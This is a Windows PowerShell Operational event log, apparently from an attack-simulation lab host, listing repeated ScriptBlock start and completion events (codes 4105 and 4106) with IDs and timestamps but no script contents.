Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043890
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043889
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043888
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043887
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043886
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043885
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043884
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043883
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043882
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043881
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043880
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043879
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043878
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043877
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043876
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043875
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043874
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043873
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043872
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043871
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043870
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043869
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043868
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043867
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043866
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043865
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043864
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043863
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043862
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043861
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043860
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043859
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043858
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043857
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043856
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043855
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043854
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043853
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043852
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043851
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043850
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043849
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043848
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043847
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043846
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043845
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043844
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043843
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043842
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043841
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043840
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043839
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043838
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
